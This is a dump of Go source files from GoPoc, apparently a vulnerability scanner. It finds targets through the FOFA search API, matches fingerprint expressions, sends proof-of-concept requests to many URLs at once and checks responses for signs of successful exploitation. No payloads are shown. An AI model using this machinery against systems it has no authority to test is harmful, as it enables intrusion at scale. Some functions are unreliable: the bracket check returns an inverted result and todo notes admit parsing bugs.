144 | if strings.Contains(resp.Body, strings.ReplaceAll(condition.Value, "\\", "")) {
145 | bodyArrayByBool[bodyCounter] = true
146 | } else {
147 | bodyArrayByBool[bodyCounter] = false
148 | }
149 | bodyCounter++
150 | } else {
151 | if !strings.Contains(resp.Body, strings.ReplaceAll(condition.Value, "\\", "")) {
152 | bodyArrayByBool[bodyCounter] = true
153 | } else {
154 | bodyArrayByBool[bodyCounter] = false
155 | }
156 | bodyCounter++
157 | }
158 | break
159 | case "header":
160 | if !strings.Contains(condition.Operator, "!") {
161 | headerArrayByBool[headerCounter] = false
162 | if strings.Contains(headerValuesList, strings.ReplaceAll(condition.Value, "\\", "")) {
163 | headerArrayByBool[headerCounter] = true
164 | }
165 | headerCounter++
166 | } else {
167 | headerArrayByBool[headerCounter] = false
168 | if !strings.Contains(headerValuesList, strings.ReplaceAll(condition.Value, "\\", "")) {
169 | headerArrayByBool[headerCounter] = true
170 | }
171 | headerCounter++
172 | }
173 | }
174 | }
175 | reversePolishNotationByStr := reversePolishNotation(transformed) // 获取逆波兰语句
176 | if evaluatePostfix(reversePolishNotationByStr, bodyArrayByBool, headerArrayByBool) { // 根据逆波兰语句来计算返回整个表达式的逻辑运算结果
177 | fingerprintList += " " + fingerprint.Product
178 | isHaveFingerprint = true
179 | continue
180 | }
181 | }
182 | if isHaveFingerprint {
183 | Log.Log.Println(fmt.Sprintf("[+] url: %s 匹配到的指纹为: %s", hostInfo, fingerprintList))
184 | return true
185 | }
186 | } else { // 代码重复,但是是故意的,为了性能优化,因此不写成一个方法
187 | transformed, keyOperatorValue := convertLogicalExpression(pocStruct.Fofa) // 精简化语句,方便进行逆波兰运算
188 | bodyArray, headerArray, bodyCounter, headerCounter = getKeyOperatorValue(keyOperatorValue) // 获取所有的键值对以及算数运算符
189 | bodyArrayByBool := make([]bool, bodyCounter)
190 | headerArrayByBool := make([]bool, headerCounter)
191 | bodyCounter = 0
192 | headerCounter = 0
193 |
194 | if len(bodyArray) == 0 && len(headerArray) == 0 {
195 | return false
196 | }
197 | // 检测是否存在 app 语法, 有则直接返回 false
198 | for _, condition := range keyOperatorValue {
199 | if strings.ToLower(condition.Key) == "app" || strings.ToLower(condition.Key) == "product" {
200 | Log.Log.Fatal("[-] 由于你开启了探测模式(不借助fofa进行页面规则的扫描),因此app/product语法不能使用! 这种语法本质上由一堆基本语法所构成的,存在fofa服务器中")
201 | }
202 | }
203 |
204 | if strings.Contains(pocStruct.Fofa, "header") {
205 | headerValuesList = resp.Proto + " " + resp.Status + "\n"
206 | for key, values := range resp.Header {
207 | headerValuesList = headerValuesList + key + ": "
208 | for _, value := range values {
209 | headerValuesList = headerValuesList + value + "\n"
210 | }
211 | }
212 | }
213 |
214 | // 扫一遍,得知每个表达式是true还是false
215 | for _, condition := range keyOperatorValue {
216 | if condition.Value == "" {
217 | continue
218 | }
219 | switch strings.ToLower(condition.Key) {
220 | case "body":
221 | if !strings.Contains(condition.Operator, "!") {
222 | if strings.Contains(resp.Body, strings.ReplaceAll(condition.Value, "\\", "")) {
223 | bodyArrayByBool[bodyCounter] = true
224 | } else {
225 | bodyArrayByBool[bodyCounter] = false
226 | }
227 | bodyCounter++
228 | } else {
229 | if !strings.Contains(resp.Body, strings.ReplaceAll(condition.Value, "\\", "")) {
230 | bodyArrayByBool[bodyCounter] = true
231 | } else {
232 | bodyArrayByBool[bodyCounter] = false
233 | }
234 | bodyCounter++
235 | }
236 | break
237 | case "header":
238 | if !strings.Contains(condition.Operator, "!") {
239 | headerArrayByBool[headerCounter] = false
240 | if strings.Contains(headerValuesList, strings.ReplaceAll(condition.Value, "\\", "")) {
241 | headerArrayByBool[headerCounter] = true
242 | }
243 | headerCounter++
244 | } else {
245 | headerArrayByBool[headerCounter] = false
246 | if !strings.Contains(headerValuesList, strings.ReplaceAll(condition.Value, "\\", "")) {
247 | headerArrayByBool[headerCounter] = true
248 | }
249 | headerCounter++
250 | }
251 | }
252 | }
253 | reversePolishNotationByStr := reversePolishNotation(transformed) // 获取逆波兰语句
254 |
255 | if evaluatePostfix(reversePolishNotationByStr, bodyArrayByBool, headerArrayByBool) { // 根据逆波兰语句来计算返回整个表达式的逻辑运算结果
256 | Log.Log.Println(fmt.Sprintf("[+] url: %s 匹配到的指纹为: %s", hostInfo, pocStruct.Fofa))
257 | return true
258 | }
259 | }
260 | return false
261 | }
262 |
263 | func IsExploitSuccessByCode(pocOrExp, hostInfo string, pocStruct Format.PocStruct) bool {
264 | if IsDetectionModeByBool && !IsDetectionMode(hostInfo, pocStruct) {
265 | return false
266 | }
267 |
268 | if pocOrExp != "poc" {
269 | var expResult Format.ExpResult
270 | expResult.HostInfo = hostInfo
271 | expResult.Success = false
272 | expResult.Output = ""
273 | expResult = User.Exp(expResult)
274 | if expResult.Success {
275 | Log.Log.Println(expResult.Output)
276 | return true
277 | }
278 | return false
279 | }
280 | return User.Poc(hostInfo)
281 | }
282 |
--------------------------------------------------------------------------------
/main/Developer/Core/CoreForSendByJson.go:
--------------------------------------------------------------------------------
1 | package Core
2 |
3 | import (
4 | Format "GoPoc/main/Developer/AllFormat"
5 | handle2 "GoPoc/main/Developer/Handle"
6 | "GoPoc/main/Developer/HttpAbout"
7 | "GoPoc/main/Log"
8 | "bytes"
9 | "context"
10 | "net/http"
11 | "net/url"
12 | "strings"
13 | "sync"
14 | "time"
15 | )
16 |
17 | func ForSendByJson(urlsList []string, pocStruct Format.PocStruct) {
18 | client := HttpAbout.SetProxy(HttpAbout.InputProxy, false)
19 | customRequestBody := []byte(pocStruct.RequestPackage.Body)
20 | waitGroup := &sync.WaitGroup{}
21 |
22 | // 计算要划分的小的urlsList数量
23 | numThreads := MaxConcurrentLevelInt
24 | if numThreads > len(urlsList) {
25 | numThreads = len(urlsList)
26 | }
27 | urlsPerThread := len(urlsList) / numThreads
28 | for i := 0; i < numThreads; i++ {
29 | start := i * urlsPerThread
30 | end := start + urlsPerThread
31 | if i == numThreads-1 {
32 | end = len(urlsList)
33 | }
34 |
35 | subURLsList := urlsList[start:end]
36 | waitGroup.Add(1)
37 | go func(subURLs []string) {
38 | defer func() {
39 | waitGroup.Add(-1)
40 | }()
41 |
42 | for _, tmpUrl := range subURLs {
43 | allRequestPath := handle2.TraversePath(pocStruct.RequestPackage, tmpUrl)
44 | requestCount := len(allRequestPath)
45 |
46 | for tmpI := 0; tmpI < requestCount; tmpI++ {
47 | tmpUrlForAllRequestPath := allRequestPath[tmpI]
48 | parsedURL, err := url.Parse(tmpUrlForAllRequestPath)
49 | if err != nil {
50 | continue
51 | }
52 | // Create an HTTP.Request object
53 | procedureRequest, err := http.NewRequest(pocStruct.RequestPackage.Method, tmpUrlForAllRequestPath, bytes.NewBuffer(customRequestBody))
54 | if err != nil {
55 | continue
56 | }
57 | // Set a timeout for the request
58 | ctx, cancel := context.WithTimeout(context.Background(), time.Second*5)
59 | handle2.ProcessPackagesForJson(procedureRequest, pocStruct)
60 | procedureRequest = procedureRequest.WithContext(ctx)
61 |
62 | // Send request and obtain response results
63 | procedureResponse, err := client.Do(procedureRequest)
64 | if err != nil {
65 | cancel()
66 | continue
67 | }
68 |
69 | if IsExploitSuccessByJson(pocStruct, procedureResponse, customRequestBody) {
70 | if splitURL := strings.Split(tmpUrlForAllRequestPath, "?"); len(splitURL) >= 2 {
71 | params := strings.Split(splitURL[1], "&")
72 | encodedParams := make([]string, len(params))
73 | for tmpI := range params {
74 | p := strings.Split(params[tmpI], "=")
75 | encodedParams[tmpI] = url.QueryEscape(p[0]) + "=" + url.QueryEscape(p[1])
76 | }
77 | Log.Log.Println("[+] [ " + parsedURL.Scheme + "://" + parsedURL.Host + "/" + strings.Join(encodedParams, "&") + " ]\tSuccess! The target may have this vulnerability")
78 | } else {
79 | Log.Log.Println("[+] [ " + parsedURL.Scheme + "://" + parsedURL.Host + "/" + " ]\tSuccess! The target may have this vulnerability")
80 | }
81 | }
82 | cancel()
83 | }
84 |
85 | }
86 | }(subURLsList)
87 | }
88 | waitGroup.Wait()
89 | }
90 |
--------------------------------------------------------------------------------
/main/Developer/Core/GlobalVar.go:
--------------------------------------------------------------------------------
1 | package Core
2 |
3 | var IsBuiltinFingerprint bool // 探测模式下,是否使用内置指纹进行匹配
4 | var IsDetectionModeByBool bool // 是否开启探测模式
5 | var MaxConcurrentLevelInt int // 协程数
6 |
--------------------------------------------------------------------------------
/main/Developer/Core/ParseStatement.go:
--------------------------------------------------------------------------------
1 | package Core
2 |
3 | import (
4 | "strings"
5 | )
6 |
7 | type Condition struct {
8 | Key string
9 | Operator string
10 | Value string
11 | }
12 |
13 | type Parser struct{}
14 |
15 | // 涉及语法解析器的编写,较难
16 |
17 | // convertLogicalExpression 精简化语句,方便进行逆波兰运算 思路为重写方法,不使用正则,而是用一个指针从左往右依次进行扫描并处理
18 | func convertLogicalExpression(expr string) (string, []Condition) { // todo 存在隐形bug: protocol=icmp && banner=icmp_166 无法解析,因为这个指纹非正常预期
19 | var keyOperatorValue []Condition
20 | isDoubleQuotationMarkClosure := false
21 | isBreak := false
22 | var transformedExpr string
23 | tempValueStr := ""
24 | var stack []rune
25 | runesForExpr := []rune(expr)
26 | for index := 0; index < len(runesForExpr); index++ {
27 | if isDoubleQuotationMarkClosure { // 如果进入了",则 keyOperatorValue 开始记录
28 | tempValueStr = tempValueStr + string(runesForExpr[index])
29 | }
30 | isBreak = false
31 | if index != 0 && runesForExpr[index-1] != '\\' && runesForExpr[index] == '"' {
32 | if isDoubleQuotationMarkClosure {
33 | stack = stack[:len(stack)-1]
34 | isDoubleQuotationMarkClosure = false
35 | keyOperatorValue[len(keyOperatorValue)-1].Value = tempValueStr // keyOperatorValue 记录完毕
36 | keyOperatorValue[len(keyOperatorValue)-1].Value = keyOperatorValue[len(keyOperatorValue)-1].Value[:len(keyOperatorValue[len(keyOperatorValue)-1].Value)-1]
37 | tempValueStr = ""
38 | } else {
39 | stack = append(stack, runesForExpr[index]) // 入栈表示进入了"中,transformedExpr 开始不进行记录
40 | isDoubleQuotationMarkClosure = true
41 | }
42 | }
43 |
44 | if len(stack) != 0 || (index+10 > len(runesForExpr)) {
45 | continue
46 | }
47 | switch runesForExpr[index] {
48 | case ' ':
49 | continue
50 | case '(':
51 | transformedExpr = transformedExpr + "("
52 | isBreak = true
53 | break
54 | case ')':
55 | transformedExpr = transformedExpr + ")"
56 | isBreak = true
57 | break
58 | case '|':
59 | transformedExpr = transformedExpr + "|"
60 | isBreak = true
61 | break
62 | case '&':
63 | transformedExpr = transformedExpr + "&"
64 | isBreak = true
65 | break
66 | }
67 | if !isBreak {
68 | switch { // todo bug, cert/server/protocol/banner 在fofa中被特殊使用,不能直接放在header中,否则指纹会失真
69 | case string(runesForExpr[index:index+5]) == "body=":
70 | keyOperatorValue = append(keyOperatorValue, Condition{Key: "body", Operator: "=", Value: ""})
71 | transformedExpr += "body"
72 | index += 4
73 | break
74 | case string(runesForExpr[index:index+6]) == "body!=":
75 | keyOperatorValue = append(keyOperatorValue, Condition{Key: "body", Operator: "!=", Value: ""})
76 | transformedExpr += "body"
77 | index += 5
78 | break
79 | case string(runesForExpr[index:index+6]) == "title=":
80 | keyOperatorValue = append(keyOperatorValue, Condition{Key: "body", Operator: "=", Value: ""})
81 | transformedExpr += "body"
82 | index += 5
83 | break
84 | case string(runesForExpr[index:index+7]) == "title!=":
85 | keyOperatorValue = append(keyOperatorValue, Condition{Key: "body", Operator: "!=", Value: ""})
86 | transformedExpr += "body"
87 | index += 6
88 | break
89 | case string(runesForExpr[index:index+7]) == "banner=":
90 | keyOperatorValue = append(keyOperatorValue, Condition{Key: "body", Operator: "=", Value: ""})
91 | transformedExpr += "body"
92 | index += 6
93 | break
94 | case string(runesForExpr[index:index+8]) == "banner!=":
95 | keyOperatorValue = append(keyOperatorValue, Condition{Key: "body", Operator: "!=", Value: ""})
96 | transformedExpr += "body"
97 | index += 7
98 | break
99 | case string(runesForExpr[index:index+7]) == "header=":
100 | keyOperatorValue = append(keyOperatorValue, Condition{Key: "header", Operator: "=", Value: ""})
101 | transformedExpr += "header"
102 | index += 6
103 | break
104 | case string(runesForExpr[index:index+8]) == "header!=":
105 | keyOperatorValue = append(keyOperatorValue, Condition{Key: "header", Operator: "!=", Value: ""})
106 | transformedExpr += "header"
107 | index += 7
108 | break
109 | case string(runesForExpr[index:index+5]) == "cert=":
110 | keyOperatorValue = append(keyOperatorValue, Condition{Key: "header", Operator: "=", Value: ""})
111 | transformedExpr += "header"
112 | index += 4
113 | break
114 | case string(runesForExpr[index:index+6]) == "cert!=":
115 | keyOperatorValue = append(keyOperatorValue, Condition{Key: "header", Operator: "!=", Value: ""})
116 | transformedExpr += "header"
117 | index += 5
118 | break
119 | case string(runesForExpr[index:index+9]) == "protocol=":
120 | keyOperatorValue = append(keyOperatorValue, Condition{Key: "header", Operator: "=", Value: ""})
121 | transformedExpr += "header"
122 | index += 8
123 | break
124 | case string(runesForExpr[index:index+10]) == "protocol!=":
125 | keyOperatorValue = append(keyOperatorValue, Condition{Key: "header", Operator: "!=", Value: ""})
126 | transformedExpr += "header"
127 | index += 9
128 | break
129 | case string(runesForExpr[index:index+7]) == "server=":
130 | keyOperatorValue = append(keyOperatorValue, Condition{Key: "header", Operator: "=", Value: ""})
131 | transformedExpr += "header"
132 | index += 6
133 | break
134 | case string(runesForExpr[index:index+8]) == "server!=":
135 | keyOperatorValue = append(keyOperatorValue, Condition{Key: "header", Operator: "!=", Value: ""})
136 | transformedExpr += "header"
137 | index += 7
138 | break
139 | case string(runesForExpr[index:index+5]) == "port=":
140 | keyOperatorValue = append(keyOperatorValue, Condition{Key: "header", Operator: "!=", Value: ""})
141 | transformedExpr += "header"
142 | index += 4
143 | break
144 | case string(runesForExpr[index:index+6]) == "port!=":
145 | keyOperatorValue = append(keyOperatorValue, Condition{Key: "header", Operator: "!=", Value: ""})
146 | transformedExpr += "header"
147 | index += 5
148 | break
149 | }
150 | }
151 | }
152 | return transformedExpr, keyOperatorValue
153 | }
154 |
155 | // getKeyOperatorValue 获取所有的键值对以及算数运算符
156 | func getKeyOperatorValue(conditions []Condition) ([]string, []string, int, int) {
157 | var bodyArray []string
158 | var headerArray []string
159 | bodyCounter := 0
160 | headerCounter := 0
161 |
162 | for _, cond := range conditions {
163 | if cond.Key == "body" || cond.Key == "title" || cond.Key == "banner" {
164 | bodyArray = append(bodyArray, cond.Value)
165 | bodyCounter++
166 | } else if cond.Key == "header" || cond.Key == "cert" || cond.Key == "protocol" || cond.Key == "server" || cond.Key == "port" { // todo bug, port/cert/server/protocol/banner 在fofa中被特殊使用,不能直接放在header中,否则指纹会失真
167 | headerArray = append(headerArray, cond.Value)
168 | headerCounter++
169 | }
170 | }
171 | return bodyArray, headerArray, bodyCounter, headerCounter
172 | }
173 |
174 | // CheckBalanced 用于判断括号是否闭合
175 | func CheckBalanced(s string) bool {
176 | // 使用切片作为栈
177 | var stack []rune
178 |
179 | // 创建一个映射,将每个右括号映射到相应的左括号
180 | matchingBrackets := map[rune]rune{
181 | ')': '(',
182 | '}': '{',
183 | ']': '[',
184 | }
185 |
186 | for _, char := range s {
187 | // 如果是左括号,压入栈
188 | if char == '(' || char == '{' || char == '[' {
189 | stack = append(stack, char)
190 | } else if char == ')' || char == '}' || char == ']' {
191 | // 如果是右括号,检查栈是否为空
192 | if len(stack) == 0 {
193 | return false // 右括号没有对应的左括号
194 | }
195 | // 检查栈顶是否与当前右括号匹配
196 | top := stack[len(stack)-1]
197 | if top != matchingBrackets[char] {
198 | return false // 当前右括号没有对应的左括号
199 | }
200 | // 匹配成功,弹出栈顶元素
201 | stack = stack[:len(stack)-1]
202 | }
203 | }
204 |
205 | // 如果栈为空,表示所有括号均已匹配
206 | return len(stack) != 0
207 | }
208 |
209 | // 计算逆波兰表达式的值 [算法可以优化,但是不想弄]
210 | func evaluatePostfix(expression string, bodyArrayByBool []bool, headerArrayByBool []bool) bool {
211 | var stackByBool []bool // 只记录结果,是 true 还是 false
212 | var originStack []uint8 // 原始栈,记录所有数据
213 | bodyCounter := 0
214 | headerCounter := 0
215 | for i := 0; i < len(expression); i++ {
216 | if expression[i] == 'h' && expression[i+5] == 'r' { // header
217 | stackByBool = append(stackByBool, headerArrayByBool[headerCounter])
218 | originStack = append(originStack, expression[i])
219 | i = i + 5
220 | headerCounter++
221 | } else if expression[i] == 'b' && expression[i+3] == 'y' { // body
222 | stackByBool = append(stackByBool, bodyArrayByBool[bodyCounter])
223 | originStack = append(originStack, expression[i])
224 | i = i + 3
225 | bodyCounter++
226 | } else if expression[i] == '!' && expression[i+1] == '=' {
227 | originStack = append(originStack, expression[i])
228 | i++
229 | } else if expression[i] == '(' {
230 | originStack = append(originStack, expression[i])
231 | } else if expression[i] == ')' {
232 | for index := len(originStack) - 1; index > 0; index-- {
233 | if originStack[index] == '(' {
234 | originStack = originStack[:len(originStack)-1] // 移除栈顶元素
235 | break
236 | }
237 | originStack = originStack[:len(originStack)-1] // 移除栈顶元素
238 | }
239 | } else if expression[i] == '&' {
240 | // 弹出两个操作数进行与运算
241 | if len(stackByBool) < 2 {
242 | return false
243 | //panic("[-] not enough operands") todo 由于技术问题,因此遇到无法解析的指纹直接进行跳过操作
244 | }
245 | b := stackByBool[len(stackByBool)-1]
246 | a := stackByBool[len(stackByBool)-2]
247 | stackByBool = stackByBool[:len(stackByBool)-2] // 弹出两个操作数
248 | stackByBool = append(stackByBool, a && b) // 将结果压入栈
249 | } else if expression[i] == '|' {
250 | // 弹出两个操作数进行或运算
251 | if len(stackByBool) < 2 {
252 | return false
253 | //panic("[-] not enough operands") todo 由于技术问题,遇到无法解析的指纹直接进行跳过操作
254 | }
255 | b := stackByBool[len(stackByBool)-1]
256 | a := stackByBool[len(stackByBool)-2]
257 | stackByBool = stackByBool[:len(stackByBool)-2] // 弹出两个操作数
258 | stackByBool = append(stackByBool, a || b) // 将结果压入栈
259 | }
260 | }
261 |
262 | if len(stackByBool) != 1 {
263 | panic("invalid expression")
264 | }
265 |
266 | return stackByBool[0]
267 | }
268 |
269 | // 获取逆波兰表达式
270 | func reversePolishNotation(expression string) string {
271 | expression = strings.ReplaceAll(expression, " ", "")
272 | polishNotationByStr := ""
273 | var originStack []uint8 // 原始栈,记录所有数据
274 | for i := 0; i < len(expression); i++ {
275 | if expression[i] == 'h' && expression[i+5] == 'r' { // header
276 | polishNotationByStr = polishNotationByStr + "header"
277 | i = i + 5
278 | } else if expression[i] == 'b' && expression[i+3] == 'y' || (expression[i] == 't' && expression[i+4] == 'e') { // body
279 | polishNotationByStr = polishNotationByStr + "body"
280 | i = i + 3
281 | } else if expression[i] == '(' {
282 | originStack = append(originStack, expression[i]) // 所有左括号都要入栈
283 | } else if expression[i] == ')' { // 若是右括号,则栈不断出栈,直到碰到左括号
284 | for index := len(originStack) - 1; index >= 0; index-- {
285 | if originStack[index] == '(' {
286 | originStack = originStack[:len(originStack)-1] // 移除栈顶元素
287 | break
288 | }
289 | polishNotationByStr = polishNotationByStr + string(originStack[len(originStack)-1])
290 | originStack = originStack[:len(originStack)-1] // 移除栈顶元素
291 | }
292 | } else if expression[i] == '&' && expression[i+1] == '&' {
293 | originStack = append(originStack, expression[i]) // 运算符入栈
294 | i++
295 | } else if expression[i] == '|' && expression[i+1] == '|' {
296 | originStack = append(originStack, expression[i]) // 运算符入栈
297 | i++
298 | }
299 | //else {
300 | // Log.Log.Fatal("[-] 你输入的fofa表达式不符合语法,样例: ((body != \"hello\" && header != \"dsd\") && (body!= \"sb\" && header = \"nihao\")) && body!=\"sbb\" || header!=\"ba\"\n")
301 | //}
302 | }
303 | for i := 0; i < len(originStack); i++ {
304 | polishNotationByStr = polishNotationByStr + string(originStack[i])
305 | }
306 | return polishNotationByStr // 示例中正确的逆波兰表达式为: body header & body header && body header & |
307 | }
308 |
--------------------------------------------------------------------------------
/main/Developer/Core/isExploit.go:
--------------------------------------------------------------------------------
1 | package Core
2 |
3 | import (
4 | format2 "GoPoc/main/Developer/AllFormat"
5 | "GoPoc/main/Log"
6 | "fmt"
7 | "io"
8 | "net/http"
9 | "regexp"
10 | "strings"
11 | )
12 |
13 | func IsExploitSuccessByJson(pocStruct format2.PocStruct, procedureResponse *http.Response, customRequestBody []byte) bool {
14 | var currentGroupIndex = 0
15 | var index = 0
16 | var groupNumIndex []map[int]int
17 | var isExploit []map[string][]bool
18 | for _, currentGroup := range pocStruct.ResponsePackage.Group {
19 | isExploit = append(isExploit, map[string][]bool{
20 | "flag": {},
21 | })
22 | index = 0
23 | NumberOfMembers := 0
24 | bodyOfExecutionResults, err := io.ReadAll(procedureResponse.Body)
25 | if err != nil {
26 | Log.Log.Fatal(err)
27 | }
28 | if currentGroup.Regexp != "" {
29 | NumberOfMembers++
30 | matchesForRegexp := regexp.MustCompile(currentGroup.Regexp).FindStringSubmatch(string(bodyOfExecutionResults))
31 | if matchesForRegexp != nil && len(matchesForRegexp) > 1 {
32 | isExploit[currentGroupIndex]["flag"] = append(isExploit[currentGroupIndex]["flag"], true)
33 | groupNumIndex = append(groupNumIndex, map[int]int{
34 | currentGroupIndex: index + 1,
35 | })
36 | currentGroupIndex++
37 | continue
38 | }
39 | var headerStringResult string
40 | for headerKey, headerValue := range procedureResponse.Header {
41 | headerStringResult += fmt.Sprintf("%s: %s\r\n", headerKey, headerValue)
42 | }
43 | matchesForRegexp = regexp.MustCompile(currentGroup.Regexp).FindStringSubmatch(headerStringResult)
44 | if matchesForRegexp != nil && len(matchesForRegexp) > 1 {
45 | isExploit[currentGroupIndex]["flag"] = append(isExploit[currentGroupIndex]["flag"], true)
46 | } else {
47 | isExploit[currentGroupIndex]["flag"] = append(isExploit[currentGroupIndex]["flag"], false)
48 | }
49 | }
50 | if currentGroup.Header != nil {
51 | NumberOfMembers++
52 | for headerName, headerValue := range currentGroup.Header {
53 | if headerValue == procedureResponse.Header.Get(headerName) ||
54 | (headerName == "Status" && strings.Contains(procedureResponse.Status, headerValue.(string))) {
55 | isExploit[currentGroupIndex]["flag"] = append(isExploit[currentGroupIndex]["flag"], true)
56 | } else {
57 | isExploit[currentGroupIndex]["flag"] = append(isExploit[currentGroupIndex]["flag"], false)
58 | }
59 | }
60 | }
61 | if currentGroup.Body != nil {
62 | NumberOfMembers++
63 | if len(bodyOfExecutionResults) != 0 {
64 | customRequestBody = bodyOfExecutionResults
65 | }
66 |
67 | index = index + len(pocStruct.ResponsePackage.Group[currentGroupIndex].Body) - 1
68 | isFalseFlag := false
69 | customRequestBodyString := string(customRequestBody)
70 | // 遍历获取 poc.json 中的body,用于验证response是否符合 poc.json
71 | for _, tmpPocBody := range pocStruct.ResponsePackage.Group[currentGroupIndex].Body {
72 | if strings.Contains(customRequestBodyString, tmpPocBody) {
73 | isExploit[currentGroupIndex]["flag"] = append(isExploit[currentGroupIndex]["flag"], true)
74 | isFalseFlag = true
75 | continue
76 | }
77 | }
78 | if !isFalseFlag {
79 | isExploit[currentGroupIndex]["flag"] = append(isExploit[currentGroupIndex]["flag"], false)
80 | }
81 | }
82 | if NumberOfMembers == 0 {
83 | Log.Log.Fatal("poc 书写有问题,Group 中的某个为空")
84 | }
85 | groupNumIndex = append(groupNumIndex, map[int]int{
86 | currentGroupIndex: index + 1,
87 | })
88 | currentGroupIndex++
89 | }
90 |
91 | // 依据 逻辑符号(or/and)来判断是否验证成功
92 | currentGroupIndex = currentGroupIndex - 1
93 | var isConform = true
94 | if strings.ToLower(pocStruct.ResponsePackage.Operation) == "and" {
95 | for index := 0; index <= currentGroupIndex && isConform; index++ {
96 | for j := 0; j <= groupNumIndex[index][index]; j++ {
97 | if !isExploit[index]["flag"][j] {
98 | isConform = false
99 | break
100 | }
101 | }
102 | }
103 | } else {
104 | allGroupFlagList := make([]bool, currentGroupIndex+1)
105 | for index := 0; index <= currentGroupIndex; index++ {
106 | currentGroupFlag := true
107 | for j := 0; j < groupNumIndex[index][index]; j++ {
108 | if !isExploit[index]["flag"][j] {
109 | currentGroupFlag = false
110 | break
111 | }
112 | }
113 | allGroupFlagList[index] = currentGroupFlag
114 | }
115 | isConform = false
116 | for _, groupFlag := range allGroupFlagList {
117 | if groupFlag {
118 | isConform = true
119 | break
120 | }
121 | }
122 | }
123 | return isConform
124 | }
125 |
--------------------------------------------------------------------------------
/main/Developer/Core/pluginMain.go:
--------------------------------------------------------------------------------
1 | package Core
2 |
3 | import (
4 | "GoPoc/main/Log"
5 | "GoPoc/main/User"
6 | "go/ast"
7 | "go/parser"
8 | "go/token"
9 | "log"
10 | )
11 |
12 | // LoadPlugin 有代码用代码,无代码用json. 模式1为json格式,模式2为代码格式
13 | func LoadPlugin(pocName string) int {
14 | // 如果 SendPoc 为空,则无代码. 使用json进行测试
15 | astNode, err := parser.ParseFile(token.NewFileSet(), pocName, nil, parser.ParseComments)
16 | if err != nil {
17 | log.Fatal(err)
18 | }
19 | isCodeEmpty := false
20 | funcNum := 0
21 | currentFuncNum := 0
22 | // 计算所有的匿名函数数量
23 | ast.Inspect(astNode, func(n ast.Node) bool {
24 | _, isFuncLit := n.(*ast.FuncLit)
25 | if isFuncLit {
26 | funcNum++
27 | return false
28 | }
29 | return true
30 | })
31 | // 如果倒数第二个匿名函数为空则 代码为空
32 | ast.Inspect(astNode, func(n ast.Node) bool {
33 | fn, isFuncLit := n.(*ast.FuncLit)
34 | if isFuncLit {
35 | currentFuncNum++
36 | if len(fn.Body.List) == 0 && currentFuncNum == (funcNum-1) {
37 | isCodeEmpty = true
38 | }
39 | return false
40 | }
41 | return true
42 | })
43 |
44 | if !isCodeEmpty && funcNum != 0 {
45 | return 2
46 | } else if User.Json != "" {
47 | return 1
48 | } else {
49 | Log.Log.Fatal("[-] poc文件存在问题,请检查")
50 | }
51 | return 0
52 | }
53 |
--------------------------------------------------------------------------------
/main/Developer/Fofa/Fofa.go:
--------------------------------------------------------------------------------
1 | package Fofa
2 |
3 | import (
4 | "GoPoc/main/Developer/AllFormat"
5 | "bytes"
6 | "encoding/base64"
7 | "fmt"
8 | "os"
9 | "strconv"
10 | "strings"
11 | )
12 |
13 | func SearchReturnByte(config map[string]string, pocStruct Format.PocStruct, maxFofaSizeInt int) []byte {
14 | fofaClient := NewFofaClient([]byte(config["email"]), []byte(config["key"]))
15 | if fofaClient == nil {
16 | fmt.Printf("fofa 查询失败\n")
17 | os.Exit(1)
18 | }
19 | var (
20 | query = []byte(nil)
21 | fields = []byte("protocol,host,ip")
22 | lastQueryUrl = []byte(nil)
23 | )
24 |
25 | query = []byte(pocStruct.Fofa)
26 | lastQueryUrl = []byte(base64.StdEncoding.EncodeToString(query))
27 | lastQueryUrl = bytes.Join([][]byte{[]byte("https://fofa.info/api/v1/search/all?"),
28 | []byte("email="), fofaClient.Email,
29 | []byte("&key="), fofaClient.Key,
30 | []byte("&qbase64="), lastQueryUrl,
31 | []byte("&fields="), fields,
32 | []byte("&page="), []byte(strconv.Itoa(1)),
33 | []byte("&size="), []byte(strconv.Itoa(maxFofaSizeInt)),
34 | }, []byte(""))
35 | fmt.Printf("%s\n", lastQueryUrl) // fofa 查询语句
36 | content, err := fofaClient.Get(string(lastQueryUrl))
37 |
38 | if err != nil {
39 | fmt.Printf("%v\n", err.Error())
40 | os.Exit(1)
41 | }
42 | if strings.Contains(string(content), "查询语法错误") {
43 | fmt.Printf("%s\n", "fofa 查询语法错误")
44 | os.Exit(1)
45 | }
46 |
47 | return content
48 | }
49 |
--------------------------------------------------------------------------------
/main/Developer/Fofa/FofaSample.go:
--------------------------------------------------------------------------------
1 | // Copyright 2016 The FOFA SDK Authors. All rights reserved.
2 | // Use of this source code is governed by a BSD-style
3 | // license that can be found in the LICENSE file.
4 | // Package examples shows how to use fofa sdk
5 |
6 | package Fofa
7 |
8 | import (
9 | "bytes"
10 | "crypto/tls"
11 | "encoding/base64"
12 | "encoding/json"
13 | "errors"
14 | "fmt"
15 | "github.com/buger/jsonparser"
16 | "io/ioutil"
17 | "log"
18 | "net/http"
19 | "os"
20 | "strconv"
21 | "strings"
22 | )
23 |
24 | type QueryResponse struct {
25 | Error bool `json:"error"`
26 | ConsumedFPoint int `json:"consumed_fpoint"`
27 | RequiredFPoints int `json:"required_fpoints"`
28 | Size int `json:"size"`
29 | Page int `json:"page"`
30 | Mode string `json:"mode"`
31 | Query string `json:"query"`
32 | Results [][]interface{} `json:"results"`
33 | }
34 |
35 | // Fofa a fofa client can be used to make queries
36 | type Fofa struct {
37 | Email []byte
38 | Key []byte
39 | *http.Client
40 | }
41 |
42 | // Result represents a record of the query results
43 | // contain domain host ip port title country city
44 | type result struct {
45 | Domain string `json:"domain,omitempty"`
46 | Host string `json:"host,omitempty"`
47 | IP string `json:"ip,omitempty"`
48 | Port string `json:"port,omitempty"`
49 | Title string `json:"title,omitempty"`
50 | Country string `json:"country,omitempty"`
51 | City string `json:"city,omitempty"`
52 | }
53 |
54 | // User struct for fofa user
55 | type User struct {
56 | Email string `json:"email,omitempty"`
57 | Fcoin int `json:"fcoin,omitempty"`
58 | Vip bool `json:"bool,omitempty"`
59 | Avatar string `json:"avatar,omitempty"`
60 | Err string `json:"errmsg,omitempty"`
61 | }
62 |
63 | // Results fofa result set
64 | type Results []result
65 |
66 | const (
67 | defaultAPIUrl = "https://fofa.info/api/v1/search/all?"
68 | )
69 |
70 | var (
71 | errFofaReplyWrongFormat = errors.New("Fofa Reply With Wrong Format")
72 | errFofaReplyNoData = errors.New("No Data In Fofa Reply")
73 | )
74 |
75 | // Query fofa sdk functions included
76 | func Query(email, key, fofaQuery string, page uint) []byte {
77 | clt := NewFofaClient([]byte(email), []byte(key))
78 | if clt == nil {
79 | fmt.Printf("fofa query error!\n")
80 | os.Exit(1)
81 | }
